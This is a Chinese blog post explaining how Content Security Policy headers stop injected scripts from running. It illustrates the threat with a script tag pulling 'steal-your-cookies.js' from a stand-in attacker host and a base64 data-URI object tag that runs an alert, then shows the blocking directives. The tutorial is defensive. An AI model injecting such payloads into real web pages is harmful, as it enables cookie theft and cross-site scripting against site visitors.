美文网首页前端共享Web前端之路网页前端后台技巧(CSS+HTML)
网页入侵最后一道防线:CSP内容安全策略

网页入侵最后一道防线:CSP内容安全策略

作者: panyanyany | 来源:发表于2017-09-24 20:44 被阅读147次

首先,什么是最后一道防线?
网页入侵都有一个过程,简单来说,就是1.代码注入,2.代码执行。

对于黑客来说,代码注入后并不代表就万事大吉了,因为此时代码只是安静地躺在受害者的服务器里,什么坏事都没干呢!

所以必须要有代码执行这一步。
今天要讲的,就是如何阻止恶意代码的执行。

恶意代码的执行方式1:inline script

比如我的某个网站 example.com 被注入了恶意代码了,这段代码长这样:

<script src="badguy.com/steal-your-cookies.js"></script>

这段代码会从一个叫 badguy.com 的网站加载一个 js 脚本文件并执行。只要这段代码被执行了,用户的一些信息就会被窃取。

恶意代码的执行方式2:Data URI scheme

Data URI scheme 设计的初衷是为了把一些小的资源,比如图片,直接嵌入到 HTML 中,避免了额外的加载。
比如,传统的图片代码是这样的:

<img src="example.com/1.jpg" />

这种加载会额外消耗网络带宽,并增加网页的响应时间
现在可以这样做:

<img src="data:image/gif;base64,编码数据" />

这样的话,只要加载一次,就可以显示图片了。
不过,这种方式可以被利用来执行JS代码!
比如,黑客只要注入下面这段看起来人畜无害的代码,用户一打开网页,就会……boom!(好吧,其实就是弹出个对话框,调戏下用户)

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>

当然恶意代码执行的方式多种多样,这里就不一一列举了,大家有个概念即可。

防止代码执行的内容安全策略:CSP

CSP是 Content-Security-Policy 缩写,基本作用是建立一套白名单,所有在白名单之外的代码都不允许执行。

CSP 应用一:拒绝执行第三方域名的脚本

Content-Security-Policy: script-src 'self'

如此一来,例1中的 steal-your-cookies.js 脚本便不会被加载,更不会被执行了。

CSP 应用二:拒绝执行 Data URI Scheme

Content-Security-Policy: object-src 'none'

如此一来,例2中的 base64 编码后的代码就无法被执行了。
但是,除了 object 标签外,img 标签也是可以执行 base64 代码的,除了 img,还有 media, frame 等……

CSP 应用三:向管理员主动报告入侵情况

Content-Security-Policy: report-uri http://example.com/report.php

在 CSP 策略中加入 report-uri 指令,即可向特定网址发送当前网页里任何违反 CSP 策略的情况。如此一来,管理员便可以知道自己的网站是否被入侵了。


接下来是广告时间:
我的简书:http://www.jianshu.com/u/0708f50bcf26
我的知乎:https://www.zhihu.com/people/never-younger/answers
我的公众号:OutOfRange

有事欢迎骚扰 ~

相关文章

  • 网页入侵最后一道防线:CSP内容安全策略

    首先,什么是最后一道防线?网页入侵都有一个过程,简单来说,就是1.代码注入,2.代码执行。 对于黑客来说,代码注入...

  • iframe 跨域,cookie问题,重定向302

    Cookie 的 SameSite 属性 内容安全策略( CSP ) https://developer.mozi...

  • 内容安全策略CSP

    1、内容安全策略CSP的是什么? 之前我们给大家讲同源策略(协议、域名、端口相同)时讲到,不同源资源之间无法正常情...

  • 免疫系统第一道防线。

    人体的免疫系统有三道防线,其中最先接触外界入侵者的就是第一道防线,第一道防线它可以阻挡几乎所有的入侵者,它所使用的...

  • CSP内容安全策略简介

    https://www.html5rocks.com/en/tutorials/security/content-...

  • 内容安全策略(CSP)详解

    1.背景 1.1.同源策略 网站的安全模式源于“同源策略”,web浏览器允许第一个web页面中的脚本访问页面中的数...

  • 内容安全策略(CSP)详解

    1.背景 1.1.同源策略 网站的安全模式源于“同源策略”,web浏览器允许第一个web页面中的脚本访问页面中的数...

  • SAP 电商云 Spartacus UI 里的 Content

    内容安全策略(Content Security Policy,简称 CSP)是一种工具,允许开发人员指定在通过 W...

  • 浏览器内容安全策略(CSP)

    内容安全策略是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS[https://deve...

  • 最后一道防线

    1 你好... 还记得我是谁吗? 不记得没关系,我记得你。 第一次见你的时候...你穿着白衬衫,水洗的旧牛仔裤,头...

网友评论

    本文标题:网页入侵最后一道防线:CSP内容安全策略

    本文链接:https://www.haomeiwen.com/subject/yntlextx.html